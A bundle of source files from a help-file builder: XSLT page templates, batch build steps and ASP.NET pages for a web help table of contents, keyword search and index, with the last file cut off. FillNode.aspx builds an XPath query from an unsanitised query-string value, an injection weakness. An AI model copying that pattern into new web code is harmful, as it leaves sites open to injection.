bsd
620
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.1" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:MSHelp="http://msdn.microsoft.com/mshelp"> <!-- // System : Sandcastle Help File Builder Utilities // File : Prototype.xsl // Author : Eric Woodruff // Updated : 03/15/2008 // Note : Copyright 2007-2008, Eric Woodruff, All rights reserved // // This is used to convert *.topic additional content files into *.html files // that have the same appearance as API topics using the Prototype presentation // style. --> <xsl:output method="xml" omit-xml-declaration="yes" encoding="utf-8" /> <!-- This parameter, if specified, defines the path to the root folder --> <xsl:param name="pathToRoot" select="string('')" /> <!-- Allow for alternate header text --> <xsl:variable name="customHeader"> <xsl:choose> <xsl:when test="topic/headerTitle"> <xsl:value-of select="topic/headerTitle"/> </xsl:when> <xsl:otherwise> <!-- The product title is replaced with the project's HTML encoded HelpTitle value --> <@HtmlEncHelpTitle/> </xsl:otherwise> </xsl:choose> </xsl:variable> <!-- Main template for the topic --> <xsl:template match="/topic"> <html> <head> <title><xsl:value-of select="title"/></title> <link rel="stylesheet" type="text/css" href="{$pathToRoot}styles/presentation.css" /> <link rel="stylesheet" type="text/css" href="ms-help://Hx/HxRuntime/HxLink.css" /> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8" /> <script type="text/javascript" src="{$pathToRoot}scripts/SplitScreen.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/EventUtilities.js"></script> <!-- Stylesheet and script for colorized code blocks --> <link type="text/css" rel="stylesheet" href="{$pathToRoot}styles/highlight.css" /> <script type="text/javascript" src="{$pathToRoot}scripts/highlight.js"></script> <xml> <MSHelp:Attr Name="DocSet" Value="NetFramework" /> <MSHelp:Attr Name="DocSet" Value="<@HtmlHelpName>" /> <MSHelp:Attr Name="Locale" Value="<@Locale>" /> <MSHelp:Attr Name="TargetOS" Value="Windows" /> <!-- Include the user's XML data island for HTML Help 2.0 if present --> <xsl:if test="xml"> <xsl:copy-of select="xml/*"/> </xsl:if> </xml> <!-- Add a link to an additional stylesheet if specified --> <xsl:if test="styleSheet"> <link rel="stylesheet" type="text/css"> <xsl:attribute name="href"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="styleSheet/@filename"/> </xsl:attribute> </link> </xsl:if> </head> <body> <script type="text/javascript"> registerEventHandler(window, 'load', function() { var ss = new SplitScreen('control', 'main'); }); </script> <div id="control"> <!-- Include the logo if present --> <xsl:choose> <xsl:when test="logoFile"> <xsl:apply-templates select="logoFile"/> </xsl:when> <xsl:otherwise> <table border="0" width="100%" cellpadding="0" cellspacing="0"> <tr> <td valign="top" width="100%"><span class="productTitle"><xsl:value-of select="$customHeader"/></span><br /><span class="topicTitle"><xsl:value-of select="title"/></span><br /></td> </tr> </table> </xsl:otherwise> </xsl:choose> </div> <div id="main"> <!-- Process the body text --> <xsl:apply-templates select="bodyText" /> <br/><br/> <!-- This includes the footer item from the shared content --> <include item="footer"/> </div> </body> </html> </xsl:template> <!-- Pass through html tags from the body --> <xsl:template match="p|ol|ul|li|dl|dt|dd|table|tr|th|td|h1|h2|h3|h4|h5|h6|hr|br|pre|blockquote|div|span|a|img|b|i|strong|em|del|sub|sup|abbr|acronym|u|font|link|script|code|map|area"> <xsl:copy> <xsl:copy-of select="@*" /> <xsl:apply-templates /> </xsl:copy> </xsl:template> <!-- Add the logo --> <xsl:template match="logoFile"> <xsl:choose> <xsl:when test="@placement='above'"> <table border="0" width="100%" cellpadding="0" cellspacing="0"> <tr> <td style="padding-bottom: 5px"> <xsl:if test="@alignment"> <xsl:attribute name="align"> <xsl:value-of select="@alignment"/> </xsl:attribute> </xsl:if> <img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> <tr> <td valign="top" width="100%"><span class="productTitle"><xsl:value-of select="$customHeader"/></span><br /><span class="topicTitle"><xsl:value-of select="parent::*/title"/></span><br /></td> </tr> </table> </xsl:when> <xsl:when test="@placement='right'"> <table border="0" width="100%" cellpadding="0" cellspacing="0"> <tr> <td valign="top" width="100%"><span class="productTitle"><xsl:value-of select="$customHeader"/></span><br /><span class="topicTitle"><xsl:value-of select="parent::*/title"/></span><br /></td> <td align="center" style="padding-left: 10px"><img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> </table> </xsl:when> <xsl:otherwise> <table border="0" width="100%" cellpadding="0" cellspacing="0"> <tr> <td align="center" style="padding-right: 10px"><img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> <td valign="top" width="100%"><span class="productTitle"><xsl:value-of select="$customHeader"/></span><br /><span class="topicTitle"><xsl:value-of select="parent::*/title"/></span><br /></td> </tr> </table> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
zyyin2005-lokad
Resource/Tool/SHFB/Templates/Prototype.xsl
XSLT
bsd
7,282
@ECHO OFF REM Step 6.1 - Extract title and keyword index info. This will also alter the REM encoding of the files if localizing them for use with the Help 1.x compiler. "{@SHFBFolder}SandcastleHtmlExtract.exe" /project="{@HTMLHelpName}" /lcid={@LangID} {@ExtractFlags}
zyyin2005-lokad
Resource/Tool/SHFB/Templates/ExtractHtmlInfo.bat
Batchfile
bsd
276
@ECHO OFF REM Step 5 - Generate an intermediate table of content file if {%1} == {prototype} ( "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\CreatePrototypeToc.xsl" reflection.xml /out:toc.xml ) else ( "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\CreateVSToc.xsl" reflection.xml /out:toc.xml )
zyyin2005-lokad
Resource/Tool/SHFB/Templates/GenerateIntermediateTOC.bat
Batchfile
bsd
396
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.1" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:MSHelp="http://msdn.microsoft.com/mshelp" xmlns:mshelp="http://msdn.microsoft.com/mshelp" xmlns:ddue="http://ddue.schemas.microsoft.com/authoring/2003/5" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:msxsl="urn:schemas-microsoft-com:xslt"> <!-- // System : Sandcastle Help File Builder Utilities // File : VS2005.xsl // Author : Eric Woodruff // Updated : 03/15/2008 // Note : Copyright 2007-2008, Eric Woodruff, All rights reserved // // This is used to convert *.topic additional content files into *.html files // that have the same appearance as API topics using the VS2005 presentation // style. --> <xsl:output method="xml" omit-xml-declaration="yes" encoding="utf-8" /> <!-- This parameter, if specified, defines the path to the root folder --> <xsl:param name="pathToRoot" select="string('')" /> <!-- Allow for alternate header text --> <xsl:variable name="customHeader"> <xsl:choose> <xsl:when test="topic/headerTitle"> <xsl:value-of select="topic/headerTitle"/> </xsl:when> <xsl:otherwise> <!-- The product title is replaced with the project's HTML encoded HelpTitle value --> <@HtmlEncHelpTitle/> </xsl:otherwise> </xsl:choose> </xsl:variable> <!-- Main template for the topic --> <xsl:template match="/topic"> <html> <head> <title><xsl:value-of select="title"/></title> <link rel="stylesheet" type="text/css" href="{$pathToRoot}styles/presentation.css" /> <link rel="stylesheet" type="text/css" href="ms-help://Hx/HxRuntime/HxLink.css" /> <script type="text/javascript" src="{$pathToRoot}scripts/EventUtilities.js"> </script> <script type="text/javascript" src="{$pathToRoot}scripts/SplitScreen.js"> </script> <script type="text/javascript" src="{$pathToRoot}scripts/Dropdown.js"> </script> <!-- <script type="text/javascript" src="{$pathToRoot}scripts/script_loc.js"> </script> --> <script type="text/javascript" src="{$pathToRoot}scripts/script_manifold.js"> </script> <script type="text/javascript" src="{$pathToRoot}scripts/script_feedBack.js"> </script> <script type="text/javascript" src="{$pathToRoot}scripts/CheckboxMenu.js"> </script> <script type="text/javascript" src="{$pathToRoot}scripts/CommonUtilities.js"> </script> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8" /> <META NAME="save" CONTENT="history" /> <!-- Stylesheet and script for colorized code blocks --> <link type="text/css" rel="stylesheet" href="{$pathToRoot}styles/highlight.css" /> <script type="text/javascript" src="{$pathToRoot}scripts/highlight.js"></script> <xml> <MSHelp:Attr Name="DocSet" Value="NetFramework" /> <MSHelp:Attr Name="DocSet" Value="<@HtmlHelpName>" /> <MSHelp:Attr Name="Locale" Value="<@Locale>" /> <MSHelp:Attr Name="TargetOS" Value="Windows" /> <!-- Include the user's XML data island for HTML Help 2.0 if present --> <xsl:if test="xml"> <xsl:copy-of select="xml/*"/> </xsl:if> </xml> <!-- Add a link to an additional stylesheet if specified --> <xsl:if test="styleSheet"> <link rel="stylesheet" type="text/css"> <xsl:attribute name="href"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="styleSheet/@filename"/> </xsl:attribute> </link> </xsl:if> </head> <body> <input type="hidden" id="userDataCache" class="userDataStyle" /> <input type="hidden" id="hiddenScrollOffset" /> <img id="collapseImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/collapse_all.gif" alt="Collapse image" /> <img id="expandImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/expand_all.gif" alt="Expand Image" /> <img id="collapseAllImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/collapse_all.gif" /> <img id="expandAllImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/expand_all.gif" /> <img id="dropDownImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/dropdown.gif" /> <img id="dropDownHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/dropdownHover.gif" /> <img id="copyImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/copycode.gif" alt="Copy image" /> <img id="copyHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/copycodeHighlight.gif" alt="CopyHover image" /> <div id="header"> <!-- Include the logo if present --> <xsl:choose> <xsl:when test="logoFile"> <xsl:apply-templates select="logoFile"/> </xsl:when> <xsl:otherwise> <table id="topTable" cellpadding="0" cellspacing="0"> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="title"/></span></td> </tr> <tr id="headerTableRow3"> <td align="left"><span id="headfb" class="feedbackhead" /></td> </tr> </table> </xsl:otherwise> </xsl:choose> <table id="gradientTable"> <tr> <td class="nsrBottom" background="{$pathToRoot}icons/gradient.gif" /> </tr> </table> </div> <div id="mainSection"> <div id="mainBody"> <div id="allHistory" class="saveHistory" onsave="saveAll()" onload="loadAll()" /> <!-- Process the body text --> <xsl:apply-templates select="bodyText" /> </div> </div> <div id="footer"> <div class="footerLine"><img width="100%" height="3px" src="{$pathToRoot}icons/footer.gif" alt="Footer image"/></div> <!-- This includes the footer item from the shared content --> <include item="footer"/> <!-- <include item="feedback_script_block"/> --> </div> </body> </html> </xsl:template> <!-- Pass through html tags from the body --> <xsl:template match="p|ol|ul|li|dl|dt|dd|table|tr|th|td|h1|h2|h3|h4|h5|h6|hr|br|pre|blockquote|div|span|a|img|b|i|strong|em|del|sub|sup|abbr|acronym|u|font|link|script|code|map|area"> <xsl:copy> <xsl:copy-of select="@*" /> <xsl:apply-templates /> </xsl:copy> </xsl:template> <!-- Add the logo --> <xsl:template match="logoFile"> <xsl:choose> <xsl:when test="@placement='above'"> <table id="topTable" cellpadding="0" cellspacing="0"> <tr> <td> <xsl:if test="@alignment"> <xsl:attribute name="align"> <xsl:value-of select="@alignment"/> </xsl:attribute> </xsl:if> <img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="parent::*/title"/></span></td> </tr> <tr id="headerTableRow3"> <td align="left"><span id="headfb" class="feedbackhead" /></td> </tr> </table> </xsl:when> <xsl:when test="@placement='right'"> <table id="topTable" cellpadding="0" cellspacing="0"> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> <td rowspan="3" align="center" style="width: 1px; padding: 0px"><img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="parent::*/title"/></span></td> </tr> <tr id="headerTableRow3"> <td align="left"><span id="headfb" class="feedbackhead" /></td> </tr> </table> </xsl:when> <xsl:otherwise> <table id="topTable" cellpadding="0" cellspacing="0"> <tr> <td rowspan="4" align="center" style="width: 1px; padding: 0px"><img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="parent::*/title"/></span></td> </tr> <tr id="headerTableRow3"> <td align="left"><span id="headfb" class="feedbackhead" /></td> </tr> </table> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
zyyin2005-lokad
Resource/Tool/SHFB/Templates/VS2005.xsl
XSLT
bsd
10,026
<%@ Page Language="C#" EnableViewState="False" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Table of Content</title> <link rel="stylesheet" href="TOC.css"> <script type="text/javascript" src="TOC.js"></script> </head> <body onload="javascript: Initialize();" onresize="javascript: ResizeTree();"> <form id="IndexForm" runat="server"> <div id="TOCDiv" class="TOCDiv"> <div id="divSearchOpts" class="SearchOpts" style="height: 100px; display: none;"> <img class="TOCLink" onclick="javascript: ShowHideSearch(false);" src="CloseSearch.png" height="17" width="17" alt="Hide search" style="float: right;"/> Keyword(s) for which to search: <input id="txtSearchText" type="text" style="width: 100%;" onkeypress="javascript: return OnSearchTextKeyPress(event);" /><br /> <input id="chkSortByTitle" type="checkbox" /><label for="chkSortByTitle">&nbsp;Sort results by title</label><br /> <input type="button" value="Search" onclick="javascript: return PerformSearch();" /> </div> <div id="divIndexOpts" class="IndexOpts" style="height: 25px; display: none;"> <img class="TOCLink" onclick="javascript: ShowHideIndex(false);" src="CloseSearch.png" height="17" width="17" alt="Hide index" style="float: right;"/> Keyword Index </div> <div id="divNavOpts" class="NavOpts" style="height: 20px;"> <img class="TOCLink" onclick="javascript: SyncTOC();" src="SyncTOC.gif" height="16" width="16" alt="Sync to TOC"/> <img class="TOCLink" onclick="javascript: ExpandOrCollapseAll(true);" src="ExpandAll.bmp" height="16" width="16" alt="Expand all "/> <img class="TOCLink" onclick="javascript: ExpandOrCollapseAll(false);" src="CollapseAll.bmp" height="16" width="16" alt="Collapse all" /> <img class="TOCLink" onclick="javascript: ShowHideIndex(true);" src="Index.gif" height="16" width="16" alt="Index" /> <img class="TOCLink" onclick="javascript: ShowHideSearch(true);" src="Search.gif" height="16" width="16" alt="Search" /> </div> <div class="Tree" id="divSearchResults" style="display: none;" onselectstart="javascript: return false;"> </div> <div class="Tree" id="divIndexResults" style="display: none;" onselectstart="javascript: return false;"> </div> <div class="Tree" id="divTree" onselectstart="javascript: return false;"> <asp:Literal ID="lcTOC" runat="server" /> </div> </div> <div id="TOCSizer" class="TOCSizer" onmousedown="OnMouseDown(event)" onselectstart="javascript: return false;"></div> <iframe id="TopicContent" name="TopicContent" class="TopicContent" src="{@WebDefaultTopic}"> This page uses an IFRAME but your browser does not support it. </iframe> </form> </body> </html> <script runat="server"> //============================================================================= // System : Sandcastle Help File Builder // File : Index.aspx // Author : Eric Woodruff (Eric@EWoodruff.us) // Updated : 04/10/2008 // Note : Copyright 2007-2008, Eric Woodruff, All rights reserved // Compiler: Microsoft C# // // This file contains the code used to display the index page for a website // produced by the help file builder. The root nodes are loaded for the table // of content. Child nodes are loaded dynamically when first expanded using // an Ajax call. // // This code is published under the Microsoft Public License (Ms-PL). A copy // of the license should be distributed with the code. It can also be found // at the project website: http://www.CodePlex.com/SHFB. This notice, the // author's name, and all copyright notices must remain intact in all // applications, documentation, and source files. // // Version Date Who Comments // ============================================================================ // 1.5.0.0 06/21/2007 EFW Created the code //============================================================================= protected void Page_Load(object sender, EventArgs e) { StringBuilder sb = new StringBuilder(10240); string id, url, target, title; XPathDocument toc = new XPathDocument(Server.MapPath("WebTOC.xml")); XPathNavigator navToc = toc.CreateNavigator(); XPathNodeIterator root = navToc.Select("HelpTOC/*"); foreach(XPathNavigator node in root) { if(node.HasChildren) { // Write out a parent TOC entry id = node.GetAttribute("Id", String.Empty); title = node.GetAttribute("Title", String.Empty); url = node.GetAttribute("Url", String.Empty); if(!String.IsNullOrEmpty(url)) target = " target=\"TopicContent\""; else { url = "#"; target = String.Empty; } sb.AppendFormat("<div class=\"TreeNode\">\r\n" + "<img class=\"TreeNodeImg\" " + "onclick=\"javascript: Toggle(this);\" " + "src=\"Collapsed.gif\"/><a class=\"UnselectedNode\" " + "onclick=\"javascript: return Expand(this);\" " + "href=\"{0}\"{1}>{2}</a>\r\n" + "<div id=\"{3}\" class=\"Hidden\"></div>\r\n</div>\r\n", url, target, HttpUtility.HtmlEncode(title), id); } else { title = node.GetAttribute("Title", String.Empty); url = node.GetAttribute("Url", String.Empty); if(String.IsNullOrEmpty(url)) url = "about:blank"; // Write out a TOC entry that has no children sb.AppendFormat("<div class=\"TreeItem\">\r\n" + "<img src=\"Item.gif\"/>" + "<a class=\"UnselectedNode\" " + "onclick=\"javascript: return SelectNode(this);\" " + "href=\"{0}\" target=\"TopicContent\">{1}</a>\r\n" + "</div>\r\n", url, HttpUtility.HtmlEncode(title)); } } lcTOC.Text = sb.ToString(); } </script>
zyyin2005-lokad
Resource/Tool/SHFB/Web/Index.aspx
ASP.NET
bsd
6,102
<%@ Page Language="C#" EnableViewState="False" %> <script runat="server"> //============================================================================= // System : Sandcastle Help File Builder // File : FillNode.aspx // Author : Eric Woodruff (Eric@EWoodruff.us) // Updated : 04/02/2008 // Note : Copyright 2007-2008, Eric Woodruff, All rights reserved // Compiler: Microsoft C# // // This file contains the code used to dynamically load a parent node with its // child table of content nodes when first expanded. // // This code is published under the Microsoft Public License (Ms-PL). A copy // of the license should be distributed with the code. It can also be found // at the project website: http://www.CodePlex.com/SHFB. This notice, the // author's name, and all copyright notices must remain intact in all // applications, documentation, and source files. // // Version Date Who Comments // ============================================================================ // 1.5.0.0 06/21/2007 EFW Created the code //============================================================================= protected override void Render(HtmlTextWriter writer) { StringBuilder sb = new StringBuilder(10240); string id, url, target, title; XPathDocument toc = new XPathDocument(Server.MapPath("WebTOC.xml")); XPathNavigator navToc = toc.CreateNavigator(); // The ID to use should be passed in the query string XPathNodeIterator root = navToc.Select("//HelpTOCNode[@Id='" + this.Request.QueryString["Id"] + "']/*"); if(root.Count == 0) { writer.Write("<b>TOC node not found!</b>"); return; } foreach(XPathNavigator node in root) { if(node.HasChildren) { // Write out a parent TOC entry id = node.GetAttribute("Id", String.Empty); title = node.GetAttribute("Title", String.Empty); url = node.GetAttribute("Url", String.Empty); if(!String.IsNullOrEmpty(url)) target = " target=\"TopicContent\""; else { url = "#"; target = String.Empty; } sb.AppendFormat("<div class=\"TreeNode\">\r\n" + "<img class=\"TreeNodeImg\" " + "onclick=\"javascript: Toggle(this);\" " + "src=\"Collapsed.gif\"/><a class=\"UnselectedNode\" " + "onclick=\"javascript: return Expand(this);\" " + "href=\"{0}\"{1}>{2}</a>\r\n" + "<div id=\"{3}\" class=\"Hidden\"></div>\r\n</div>\r\n", url, target, HttpUtility.HtmlEncode(title), id); } else { title = node.GetAttribute("Title", String.Empty); url = node.GetAttribute("Url", String.Empty); if(String.IsNullOrEmpty(url)) url = "about:blank"; // Write out a TOC entry that has no children sb.AppendFormat("<div class=\"TreeItem\">\r\n" + "<img src=\"Item.gif\"/>" + "<a class=\"UnselectedNode\" " + "onclick=\"javascript: return SelectNode(this);\" " + "href=\"{0}\" target=\"TopicContent\">{1}</a>\r\n" + "</div>\r\n", url, HttpUtility.HtmlEncode(title)); } } writer.Write(sb.ToString()); } </script>
zyyin2005-lokad
Resource/Tool/SHFB/Web/FillNode.aspx
ASP.NET
bsd
3,489
<%@ Page Language="C#" EnableViewState="False" %> <script runat="server"> //============================================================================= // System : Sandcastle Help File Builder // File : SearchHelp.aspx // Author : Eric Woodruff (Eric@EWoodruff.us) // Updated : 07/03/2007 // Note : Copyright 2007, Eric Woodruff, All rights reserved // Compiler: Microsoft C# // // This file contains the code used to search for keywords within the help // topics using the full-text index files created by the help file builder. // // This code is published under the Microsoft Public License (Ms-PL). A copy // of the license should be distributed with the code. It can also be found // at the project website: http://www.CodePlex.com/SHFB. This notice, the // author's name, and all copyright notices must remain intact in all // applications, documentation, and source files. // // Version Date Who Comments // ============================================================================ // 1.5.0.0 06/24/2007 EFW Created the code //============================================================================= private class Ranking { public string Filename, PageTitle; public int Rank; public Ranking(string file, string title, int rank) { Filename = file; PageTitle = title; Rank = rank; } } /// <summary> /// Render the search results /// </summary> /// <param name="writer">The writer to which the results are written</param> protected override void Render(HtmlTextWriter writer) { FileStream fs = null; BinaryFormatter bf; string searchText, ftiFile; char letter; bool sortByTitle = false; // The keywords for which to search should be passed in the query string searchText = this.Request.QueryString["Keywords"]; if(String.IsNullOrEmpty(searchText)) { writer.Write("<b class=\"PaddedText\">Nothing found</b>"); return; } // An optional SortByTitle option can also be specified if(this.Request.QueryString["SortByTitle"] != null) sortByTitle = Convert.ToBoolean(this.Request.QueryString["SortByTitle"]); List<string> keywords = this.ParseKeywords(searchText); List<char> letters = new List<char>(); List<string> fileList; Dictionary<string, List<long>> ftiWords, wordDictionary = new Dictionary<string,List<long>>(); try { // Load the file index fs = new FileStream(Server.MapPath("fti/FTI_Files.bin"), FileMode.Open, FileAccess.Read); bf = new BinaryFormatter(); fileList = (List<string>)bf.Deserialize(fs); fs.Close(); // Load the required word index files foreach(string word in keywords) { letter = word[0]; if(!letters.Contains(letter)) { letters.Add(letter); ftiFile = Server.MapPath(String.Format( CultureInfo.InvariantCulture, "fti/FTI_{0}.bin", (int)letter)); if(File.Exists(ftiFile)) { fs = new FileStream(ftiFile, FileMode.Open, FileAccess.Read); ftiWords = (Dictionary<string, List<long>>)bf.Deserialize(fs); fs.Close(); foreach(string ftiWord in ftiWords.Keys) wordDictionary.Add(ftiWord, ftiWords[ftiWord]); } } } } finally { if(fs != null && fs.CanRead) fs.Close(); } // Perform the search and return the results as a block of HTML writer.Write(this.Search(keywords, fileList, wordDictionary, sortByTitle)); } /// <summary> /// Split the search text up into keywords /// </summary> /// <param name="keywords">The keywords to parse</param> /// <returns>A list containing the words for which to search</returns> private List<string> ParseKeywords(string keywords) { List<string> keywordList = new List<string>(); string checkWord; string[] words = Regex.Split(keywords, @"\W+"); foreach(string word in words) { checkWord = word.ToLower(CultureInfo.InvariantCulture); if(checkWord.Length > 2 && !Char.IsDigit(checkWord[0]) && !keywordList.Contains(checkWord)) keywordList.Add(checkWord); } return keywordList; } /// <summary> /// Search for the specified keywords and return the results as a block of /// HTML. /// </summary> /// <param name="keywords">The keywords for which to search</param> /// <param name="fileInfo">The file list</param> /// <param name="wordDictionary">The dictionary used to find the words</param> /// <param name="sortByTitle">True to sort by title, false to sort by /// ranking</param> /// <returns>A block of HTML representing the search results.</returns> private string Search(List<string> keywords, List<string> fileInfo, Dictionary<string, List<long>> wordDictionary, bool sortByTitle) { StringBuilder sb = new StringBuilder(10240); Dictionary<string, List<long>> matches = new Dictionary<string, List<long>>(); List<long> occurrences; List<int> matchingFileIndices = new List<int>(), occurrenceIndices = new List<int>(); List<Ranking> rankings = new List<Ranking>(); string filename, title; string[] fileIndex; bool isFirst = true; int idx, wordCount, matchCount; // TODO: Support boolean operators (AND, OR and maybe NOT) foreach(string word in keywords) { if(!wordDictionary.TryGetValue(word, out occurrences)) return "<b class=\"PaddedText\">Nothing found</b>"; matches.Add(word, occurrences); occurrenceIndices.Clear(); // Get a list of the file indices for this match foreach(long entry in occurrences) occurrenceIndices.Add((int)(entry >> 16)); if(isFirst) { isFirst = false; matchingFileIndices.AddRange(occurrenceIndices); } else { // After the first match, remove files that do not appear for // all found keywords. for(idx = 0; idx < matchingFileIndices.Count; idx++) if(!occurrenceIndices.Contains(matchingFileIndices[idx])) { matchingFileIndices.RemoveAt(idx); idx--; } } } if(matchingFileIndices.Count == 0) return "<b class=\"PaddedText\">Nothing found</b>"; // Rank the files based on the number of times the words occurs foreach(int index in matchingFileIndices) { // Split out the title, filename, and word count fileIndex = fileInfo[index].Split('\x0'); title = fileIndex[0]; filename = fileIndex[1]; wordCount = Convert.ToInt32(fileIndex[2]); matchCount = 0; foreach(string word in keywords) { occurrences = matches[word]; foreach(long entry in occurrences) if((int)(entry >> 16) == index) matchCount += (int)(entry & 0xFFFF); } rankings.Add(new Ranking(filename, title, matchCount * 1000 / wordCount)); } // Sort by rank in descending order or by page title in ascending order rankings.Sort( delegate(Ranking x, Ranking y) { if(!sortByTitle) return y.Rank - x.Rank; return x.PageTitle.CompareTo(y.PageTitle); }); // Format the file list and return the results foreach(Ranking r in rankings) sb.AppendFormat("<div class=\"TreeItem\">\r\n<img src=\"Item.gif\"/>" + "<a class=\"UnselectedNode\" target=\"TopicContent\" " + "href=\"{0}\" onclick=\"javascript: SelectSearchNode(this);\">" + "{1}</a>\r\n</div>\r\n", r.Filename, r.PageTitle); // Return the keywords used as well in a hidden span sb.AppendFormat("<span id=\"SearchKeywords\" style=\"display: none\">{0}</span>", String.Join(" ", keywords.ToArray())); return sb.ToString(); } </script>
zyyin2005-lokad
Resource/Tool/SHFB/Web/SearchHelp.aspx
ASP.NET
bsd
8,409
<%@ Page Language="C#" EnableViewState="False" %> <script runat="server"> //============================================================================= // System : Sandcastle Help File Builder // File : LoadIndexKeywords.aspx // Author : Eric Woodruff (Eric@EWoodruff.us) from code by Ferdinand Prantl // Updated : 04/01/2008 // Note : Copyright 2008, Eric Woodruff, All rights reserved // Compiler: Microsoft C# // // This file contains the code used to search for keywords within the help // topics using the full-text index files created by the help file builder. // // This code is published under the Microsoft Public License (Ms-PL). A copy // of the license should be distributed with the code. It can also be found // at the project website: http://www.CodePlex.com/SHFB. This notice, the // author's name, and all copyright notices must remain intact in all // applications, documentation, and source files. // // Version Date Who Comments // ============================================================================ // 1.6.0.7 04/01/2008 EFW Created the code //============================================================================= /// <summary> /// Render the keyword index /// </summary> /// <param name="writer">The writer to which the results are written</param> protected override void Render(HtmlTextWriter writer) { XmlDocument ki; XmlNode root, node; StringBuilder sb = new StringBuilder(10240); int startIndex = 0, endIndex; string url, target; ki = new XmlDocument(); ki.Load(Server.MapPath("WebKI.xml")); root = ki.SelectSingleNode("HelpKI"); if(Request.QueryString["StartIndex"] != null) startIndex = Convert.ToInt32(Request.QueryString["StartIndex"]) * 128; endIndex = startIndex + 128; if(endIndex > root.ChildNodes.Count) endIndex = root.ChildNodes.Count; if(startIndex > 0) { sb.Append("<div class=\"IndexItem\">\r\n" + "<span>&nbsp;</span><a class=\"UnselectedNode\" " + "onclick=\"javascript: return ChangeIndexPage(-1);\" " + "href=\"#\"><b><< Previous page</b></a>\r\n</div>\r\n"); } while(startIndex < endIndex) { node = root.ChildNodes[startIndex]; if(node.Attributes["Url"] == null) { url = "#"; target = String.Empty; } else { url = node.Attributes["Url"].Value; target = " target=\"TopicContent\""; } sb.AppendFormat("<div class=\"IndexItem\">\r\n" + "<span>&nbsp;</span><a class=\"UnselectedNode\" " + "onclick=\"javascript: return SelectIndexNode(this);\" " + 